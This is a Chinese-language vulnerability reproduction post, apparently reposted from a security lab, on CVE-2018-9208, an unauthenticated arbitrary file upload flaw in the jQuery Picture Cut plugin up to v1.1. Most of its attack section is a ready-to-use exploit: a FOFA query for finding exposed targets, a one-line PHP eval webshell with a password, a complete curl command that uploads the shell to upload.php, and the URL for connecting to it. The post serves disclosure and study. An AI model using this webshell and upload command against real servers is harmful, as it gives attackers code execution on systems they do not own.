CVE-2018-9208 jquery-picture-cut任意文件上传

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CVE-2018-9208 jquery-picture-cut任意文件上传

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

picture cut是一个jquery插件,以非常友好和简单的方式处理图像,具有基于bootstrap或jquery ui的漂亮界面,具有ajax上传,从资源管理器拖动图像,图像裁剪等强大的功能。jQuery-Picture-Cut/src/php/upload.php 中调用../core/PictureCut.php 处理文件上传的代码不检查文件类型并允许用户选择文件位置路径。未经身份验证的用户并将可执行的 PHP 文件上传到服务器,从而允许执行代码。

图片[1]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地

0x03 漏洞复现

漏洞影响: jQuery Picture Cut <= v1.1

FOFA:title=”jQuery”

1.本地搭建环境,使用phpstudy,到如下链接中下载源码

https://github.com/TuyoshiVinicius/jQuery-Picture-Cut
图片[2]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地

2.准备一个一句话木马,取名为shell.php

<?php @eval($_POST[\'ry\']);?>

3.kali使用curl在当前一句话木马目录中上传webshell,虽然显示了一些错误,但是实际是成功上传了

curl  -F  \"inputOfFile=file\" -F \"request=upload\" -F \"enableResize=0\" -F \"minimumWidthToResize=0\" -F \"minimumHeightToResize=0\" -F \"folderOnServer=/\" -F \"imageNameRandom=1\" -F \"maximumSize=10000\" -F \"enableMaximumSize=0\" -F \"file=@shell.php\" http://x.x.x.x/jQuery-Picture-Cut/src/php/upload.php
图片[3]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地

4.连接webshell,得到一个shell,密码为ry

http://x.x.x.x/shell.php
图片[4]-CVE-2018-9208 jquery-picture-cut任意文件上传-安全小天地
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容